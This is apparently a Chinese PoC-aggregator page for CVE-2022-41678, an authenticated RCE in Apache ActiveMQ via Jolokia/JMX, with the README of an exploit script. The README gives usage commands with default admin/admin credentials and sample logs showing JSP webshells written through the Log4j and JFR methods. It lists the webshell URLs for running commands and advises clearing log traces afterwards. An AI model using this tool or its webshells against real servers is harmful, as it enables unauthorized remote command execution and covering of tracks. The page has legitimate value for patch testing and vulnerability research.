关联漏洞
            
                
                    标题:
                    Apache ActiveMQ 代码问题漏洞
                        (CVE-2022-41678)
                    
                    描述:Apache ActiveMQ是美国阿帕奇(Apache)基金会的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ存在代码问题漏洞,该漏洞源于允许在Jolokia上通过身份验证的攻击者触发代码执行。受影响的产品和版本:Apache ActiveMQ 5.16.6之前版本,5.17.4之前的5.17.0版本。
                
        
 
        
            描述
            CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置,从而写入恶意的 JSP webshell 到服务器的 web 目录中,最终实现远程代码执行。
        
        
            介绍
            # Apache ActiveMQ CVE-2022-41678 漏洞利用工具
## 漏洞简介
参考文档: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置,从而写入恶意的 JSP webshell 到服务器的 web 目录中,最终实现远程代码执行。
此漏洞影响 Apache ActiveMQ 多个版本,具体受影响版本取决于 Log4j 和 JFR 配置的使用情况。
## 环境要求
- Python 3.6 及以上版本
- 安装所需依赖:
  ```bash
  pip install requests
  ```
- 目标 ActiveMQ 服务器需要开启 JMX 接口(通常通过 /api/jolokia/ 路径访问)
- 攻击者需要知道 ActiveMQ 控制台的用户名和密码(默认通常为 admin/admin)
## 使用方法
### 基本用法
使用默认的 admin/admin 凭据和自动检测的利用方式:
```bash
python exp.py http://target:8161
```
也可以通过`-u`和`-p`参数指定用户名和密码:
```bash
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
```
除了默认使用的 Log4j 利用方式,还可以通过`--exploit jfr`参数指定使用 JFR 利用方式。
```bash
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
```
### 验证利用结果
成功利用后,可以通过访问以下 URL 来执行命令:
```
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
```
例如,执行 id 命令:
```
http://target:8161/admin/shell.jsp?cmd=id
```
## 工具参数说明
| 参数 | 简写 | 类型 | 默认值 | 描述 |
|------|------|------|--------|------|
| `--username` | `-u` | 字符串 | `admin` | ActiveMQ 控制台的用户名 |
| `--password` | `-p` | 字符串 | `admin` | ActiveMQ 控制台的密码 |
| `--exploit` | `-e` | 字符串 | `auto` | 利用方式,可选值:`auto`, `log4j`, `jfr` |
| `url` | - | 字符串 | - | 目标 ActiveMQ 的 URL 地址(必需参数) |
## 注意事项
1. 此工具仅供安全研究和授权测试使用,请勿用于未授权的系统。
2. 成功利用后,工具会尝试恢复原始的 Log4j 配置,以尽量减少对目标系统的影响。
3. 如果目标系统有网络访问限制,可能需要调整网络配置以确保能够访问目标的 JMX 接口。
4. 不同版本的 ActiveMQ 可能有不同的路径和配置,可能需要根据实际情况调整工具中的路径。
5. 工具使用 JMX 接口进行操作,需要确保目标 ActiveMQ 启用了此接口。
6. 执行此工具可能会在目标系统上留下日志记录,请注意清理相关痕迹。
        
        文件快照
        
            
                
 [4.0K]  /data/pocs/1c9a1c313d7fecfa11fdc2fa12dccc945768b607
├── [ 38K]  exp.py
└── [3.6K]  README.md
0 directories, 2 files
                
             
         
        备注
        
            
                1. 建议优先通过来源进行访问。
                2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
                3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。